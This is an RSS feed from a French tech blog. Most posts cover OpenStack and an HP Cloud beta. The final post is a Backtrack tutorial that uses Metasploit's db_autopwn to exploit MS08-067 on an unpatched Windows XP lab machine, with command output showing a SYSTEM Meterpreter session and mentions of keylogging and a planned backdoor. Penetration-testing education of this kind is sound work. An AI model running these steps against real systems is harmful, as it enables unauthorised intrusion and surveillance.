<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My1&#039; Blog : Cloud Computing, Sécurité, Web &#187; Logiciels libres</title>
	<atom:link href="http://my1.fr/blog/category/logiciels-libres/feed/" rel="self" type="application/rss+xml" />
	<link>http://my1.fr/blog</link>
	<description>Keep alive !</description>
	<lastBuildDate>Wed, 02 May 2012 19:35:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Openstack Essex &#8211; Guide for Ubuntu 12.04</title>
		<link>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=openstack-essex-guide-for-ubuntu-12-04</link>
		<comments>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 07:43:08 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[essex]]></category>
		<category><![CDATA[quantum]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=572</guid>
		<description><![CDATA[It has been a long time since I didn&#8217;t write something here. But today, I&#8217;m proud to release my first documentation on OpenStack. I&#8217;ve been working for three weeks with StackOps for my internship, and my work is about Quantum (Networking as a service in OpenStack). &#160; It was quite difficult to have a working [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since I didn&#8217;t write something here.</p>
<p>But today, I&#8217;m proud to release my first documentation on <strong><a title="Openstack" href="http://openstack.org/" target="_blank">OpenStack</a></strong>.</p>
<p>I&#8217;ve been working for three weeks with <strong><a title="StackOps" href="http://www.stackops.com/" target="_blank">StackOps</a></strong> for my internship, and my work is about <strong>Quantum</strong> (Networking as a service in OpenStack).</p>
<p>&nbsp;</p>
<p>It was quite difficult to have a working infrastructure because Quantum is only in &laquo;&nbsp;<em>incubation</em>&nbsp;&raquo; for Essex release. That&#8217;s why I release a documentation in which anyone can test this fabulous software.</p>
<p>You can find this documentation with all configuration files &amp; scripts <a title="My github" href="https://github.com/EmilienM/doc-openstack" target="_blank">here</a>.</p>
<p>Or read it directly here :</p>

<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf" target="_blank" class="gde-link">Download (PDF, 320.87KB)</a></p>
<p>&nbsp;</p>
<p><strong>Share &amp; Enjoy !</strong></p>
<p>N.B. : Thank&#8217;s to <a title="The team" href="http://www.stackops.com/company/stackops-team/" target="_blank">StackOps team</a> for the welcome in Madrid.</p>
<p><strong>Please let me know if you can find some mistakes, and of course I will correct it.</strong></p>
<div id="wrtranslator-translate" style="left: 189px; top: -25px;"><a href="http://www.wordreference.com/enfr/mistakes#article" target="_blank">Traduire</a></div>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Test de la Beta HP Cloud Services</title>
		<link>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=test-de-la-beta-hp-cloud-services</link>
		<comments>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 20:15:09 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=516</guid>
		<description><![CDATA[Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous. Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type IaaS (Infrastructure As A Service). &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous.</p>
<p>Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type <strong>IaaS</strong> (Infrastructure As A Service).</p>
<p>&nbsp;</p>
<p>Je me suis donc précipité sur l&#8217;invitation, et j&#8217;ai créé mon compte afin de tester tout ça.</p>
<p>Pour tout vous avouer, ce qui m&#8217;a le plus motivé à tester le produit, c&#8217;est évidemment le fait qu&#8217;il soit basé sur OpenStack.</p>
<p>Je vous rapporte donc ce que j&#8217;ai testé, et les différentes fonctionnalités que j&#8217;ai appréciées ou celle que je n&#8217;ai pas vues.</p>
<p>&nbsp;</p>
<p><strong>Résultats du test :</strong></p>
<p>- <strong>Compute</strong> :</p>
<ul>
<li>2 clusters localisés à l&#8217;ouest des USA (pour l&#8217;instant).</li>
<li>Pour ma part, aucun problème de latence.</li>
<li>6 tailles de serveurs (j&#8217;ai testé la standard.xsmall ainsi que la standard.large)</li>
<li>Plusieurs images disponibles, toutes basées sur Linux (Ubuntu, CentOS)</li>
<li>1 IP publique par VM ! Pour le coup, j&#8217;ai vraiment été surpris.</li>
<li>la gestion des VMs peut se faire via API (avec euca2ools) sinon depuis le dashboard d&#8217;HP qui est plutôt bien fait.</li>
<li>On accède aux VMs par SSH (avec la clé privée qu&#8217;il faut télécharger), et le terminal est bien renseigné (facturation, ressources consommées, charge en temps réel&#8230;)</li>
<li>Voici mes critiques : impossibilité de faire des snapshots des VMs (pour l&#8217;instant j&#8217;imagine), pas moyen pour le moment de créer des volumes, et de les attacher aux VMs (avec la fonction de snapshot si possible).</li>
<li>Ensuite, j&#8217;aurais bien apprécier de pouvoir migrer les VMs entre cluster, mais je n&#8217;ai pas eu de réponse d&#8217;HP concernant cette fonctionnalité&#8230; A voir donc si ce sera possible dans l&#8217;avenir.</li>
</ul>
<p style="text-align: center;"><img class="aligncenter  wp-image-518" title="Compute" src="http://my1.fr/blog/wp-content/uploads/2012/01/Compute.png" alt="" width="722" height="335" /></p>
<p>&nbsp;</p>
<p>-<strong> Cloud storage</strong> :</p>
<ul>
<li>L&#8217;interface Web intègre une gestion de son Cloud Storage.</li>
<li>Les fonctionnalités sont rudimentaires : Envoyer / Télécharger des fichiers depuis cet espace.</li>
<li>J&#8217;imagine que derrière tout ça se cache le module Swift (OpenStack Storage) donc rien à dire de ce coté, si ce n&#8217;est qu&#8217;on ne connaît pas encore la limite de stockage pour l&#8217;offre de base, et il n&#8217;y a pas encore de fonction de partage de fichier. Bref, c&#8217;est une Beta !!</li>
<li>Cela-dit, je suis plutôt content qu&#8217;une interface web soit enfin développée pour gérer du cloud storage avec Swift. Remarquez sur la capture d&#8217;écran que l&#8217;interface est plutôt simple mais assez complète pour l&#8217;instant.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-519" title="Storage" src="http://my1.fr/blog/wp-content/uploads/2012/01/Storage.png" alt="" width="694" height="405" /></p>
<p>Bien sûr, ces remarques n&#8217;engagent que moi-même, et je suis ouvert à toute discussion.</p>
<p>Dans tous les cas, je suis très heureux de voir OpenStack continu d&#8217;être adopté par les plus grands de ce monde&#8230; Pourvu que ça dure !!!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Présentation d&#8217;OpenStack</title>
		<link>http://my1.fr/blog/presentation-openstack/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=presentation-openstack</link>
		<comments>http://my1.fr/blog/presentation-openstack/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 07:25:07 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=405</guid>
		<description><![CDATA[Introduction Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour comprendre la virtualisation.</p>
<p>&nbsp;</p>
<p>Dans cet article, je vais vous présenter mon projet, et je vous publie aussi le résultat de mon travail (un Powerpoint d&#8217;une cinquantaine de slides qui résume mon étude).</p>
<p>&nbsp;</p>
<p><strong>Mise en situation</strong></p>
<p>Concrètement, il m&#8217;a été demandé par mon directeur de formation d&#8217;installer un service de Cloud Computing Open-Source (avec OpenStack) qui fournirait un catalogue d&#8217;images (Ubuntu Server, Windows 2008 R2, etc) et managable depuis un navigateur Web. Plus concrètement, voici un descriptif du processus :</p>
<ul>
<li>Le client se connecte via un navigateur Web sur un Dashboard</li>
<li>En fonction de son profil, il a le droit ou non de créer des machines virtuelles, de créer des images, des snapshots, de gérer son réseau, etc.</li>
<li>Le client crée une machine virtuelle (exemple : Ubuntu Server) à partir d&#8217;un template, et lui attribue une adresse IP publique.</li>
<li>Il peut accéder à sa VM via SSH et a un accès root au système.</li>
<li>La machine peut être rebootée, et éteinte.</li>
<li>Le client peut consulter ce qu&#8217;il a consommé et voir combien il paiera en fin de mois pour son usage.</li>
</ul>
<p>Plusieurs points sont intéressants, c&#8217;est tout d&#8217;abord le dashboard. Accessible depuis Internet, le client s&#8217;authentifie de manière sécurisée et effectue toutes ses tâches nécessaires. Secundo, le principe de facturation est super intéressant pour une entreprise qui facture à son client en fonction de son utilisation. Enfin, outre le fait que tout les outils sont libres et gratuits, ils sont très compatibles avec les API des autres systèmes (ex : Xen, VMware, etc).</p>
<p>&nbsp;</p>
<p><strong>Mon étude</strong></p>
<p>Je ne vais pas rentrer dans les détails ici, mais plutôt vous donner le lien de téléchargement de mon fichier PDF que j&#8217;ai réalisé pour ma présentation.</p>
<p>Voici un aperçu avec Google Doc (il manque des visuels) :</p>
<p>
<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf" target="_blank" class="gde-link">Download (PDF, 1.09MB)</a></p><br />
<strong>La suite</strong></p>
<p>Dans quelques semaines, je recommence à travailler sur ce projet, et je vais me concentrer sur le nouveau Dashboard (Diablo) qui permet de faire plus de trucs que le module Cloud de Drupal. J&#8217;aimerais aussi me pencher sur la compatibilité avec les autres hyperviseurs, notamment les proprio (ça m&#8217;intrigue !). Enfin, je compte me perfectionner sur la haute disponibilité pour prétendre avoir un Cloud Open-Source performant, disponible, et compatible !</p>
<p>&nbsp;</p>
<p>La suite bientôt&#8230;<br />
PS : Le document fourni est 100% libre de droit, mais en cas de réutilisation, merci de me prévenir <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Je suis également adepte au remarques et critiques, donc n&#8217;hésitez pas !</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/presentation-openstack/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Exploitation de faille</title>
		<link>http://my1.fr/blog/backtrack-exploitation-de-faille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-exploitation-de-faille</link>
		<comments>http://my1.fr/blog/backtrack-exploitation-de-faille/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 14:07:11 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=360</guid>
		<description><![CDATA[Nous continuons la série d’articles consacrés à Backtrack. L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système. Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites [...]]]></description>
			<content:encoded><![CDATA[<p>Nous continuons la série d’articles consacrés à Backtrack.</p>
<p>L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système.<br />
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.</p>
<p>Comme il existe beaucoup de types de failles, et énormément de méthodes, je m&#8217;arrêterai sur un cas général, en appliquant une technique &laquo;&nbsp;classique&nbsp;&raquo;.</p>
<p>Après avoir collecté un tas d&#8217;informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d&#8217;exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu&#8217;elle utilise ce service, mais parce que l&#8217;administrateur de la machine n&#8217;a pas pris le temps de mettre à jour régulièrement son système d&#8217;exploitation via Windows Update, ainsi que l&#8217;antivirus</p>
<p>Sachez que les tests réalisés en réseau local ont été effectué avec l&#8217;antivirus Avira Antivir (ainsi qu&#8217;une base de données antivirale de moins d&#8217;un an), sur un Windows XP SP3 sans mises à jour récentes.</p>
<p>Vous serez surpris de voir qu&#8217;il existe énormément d&#8217;ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).</p>
<p>Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).</p>
<p>Sa base de données contient tous les <em>exploits</em> / <em>payloads</em> connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande &laquo;&nbsp;<strong>msfupdate</strong>&laquo;&nbsp;.</p>
<p>Dans un terminal, démarrez l&#8217;outil &laquo;&nbsp;<strong>msfconsole</strong>&laquo;&nbsp;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code6'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3606"><td class="code" id="p360code6"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>root:~<span style="color: #666666; font-style: italic;"># msfconsole</span>
&nbsp;
_
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>      o
_  _  _    _ _<span style="color: #000000; font-weight: bold;">|</span>_  __,   ,    _  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  __    _<span style="color: #000000; font-weight: bold;">|</span>_
<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span> \_<span style="color: #000000; font-weight: bold;">|/</span> \_<span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">/</span>  \_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>__<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>\_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span> \<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span>\__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/|</span>
\<span style="color: #000000; font-weight: bold;">|</span>
&nbsp;
=<span style="color: #7a0874; font-weight: bold;">&#91;</span> metasploit v3.7.0-release <span style="color: #7a0874; font-weight: bold;">&#91;</span>core:<span style="color: #000000;">3.7</span> api:<span style="color: #000000;">1.0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">684</span> exploits - <span style="color: #000000;">355</span> auxiliary
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">217</span> payloads - <span style="color: #000000;">27</span> encoders - <span style="color: #000000;">8</span> nops
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l&#8217;importer dans une base de données SQL :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code7'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3607"><td class="code" id="p360code7"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.129
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.132
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus</pre></td></tr></table></div>

<p>MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.</p>
<p>Nous allons lancer une commande qui va automatiquement exploiter l&#8217;un des failles disponibles afin d&#8217;obtenir une session avec la machine distante. Admirez le travail :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code8'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3608"><td class="code" id="p360code8"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_autopwn <span style="color: #660033;">-x</span> <span style="color: #660033;">-e</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms08_067_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms06_040_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>psexec against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">3</span> launched modules to finish execution...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> at <span style="color: #000000;">2011</span>-09-05 09:<span style="color: #000000;">40</span>:<span style="color: #000000;">24</span> <span style="color: #660033;">-0400</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">1</span> launched modules to finish execution...</pre></td></tr></table></div>

<p>0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l&#8217;exploit ms08_067_netapi pour pénétrer le système.<br />
Pour retrouver une session ouverte, il suffit d&#8217;exécuter cette commande :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code9'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3609"><td class="code" id="p360code9"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> sessions <span style="color: #660033;">-l</span>
&nbsp;
Active sessions
===============
&nbsp;
  Id  Type                   Information                           Connection
  <span style="color: #660033;">--</span>  <span style="color: #660033;">----</span>                   <span style="color: #660033;">-----------</span>                           <span style="color: #660033;">----------</span>
  <span style="color: #000000;">1</span>   meterpreter x86<span style="color: #000000; font-weight: bold;">/</span>win32  AUTORITE NT\SYSTEM <span style="color: #000000; font-weight: bold;">@</span> VICTIME-484AF1D  192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span></pre></td></tr></table></div>

<p>Et maintenant ?</p>
<p>Maintenant passons aux vilaines choses.<br />
Pour obtenir le shell d&#8217;une session ouverte, il suffit de l’appeler par son ID :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36010"><td class="code" id="p360code10"><pre class="bash" style="font-family:monospace;">session <span style="color: #660033;">-i</span> <span style="color: #000000;">1</span></pre></td></tr></table></div>

<p>Ensuite, la commande &laquo;&nbsp;<strong>help</strong>&nbsp;&raquo; vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d&#8217;écran, enregistrer les touches du clavier utilisées et encore plein d&#8217;autres trucs, dont des tâches administratives.</p>
<p>Cependant, un hacker ayant obtenu le shell d&#8217;un système essaye dans la plupart des cas de rester discret.<br />
Dans le prochain article, nous allons voir comment installer un &laquo;&nbsp;backdoor&nbsp;&raquo; afin de pouvoir revenir plus tard sur le système sans exploiter de faille.<br />
Ah oui, j&#8217;oubliais. Backtrack fournit une excellente interface graphique à MSF : &laquo;&nbsp;<strong>Armitage</strong>&laquo;&nbsp;.</p>
<p>Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d&#8217;attaque. Un antivirus à jour, un pare-feu bien configuré, un système d&#8217;exploitation récent et à jour suffiront à éviter ce genre d&#8217;exploitation.</p>
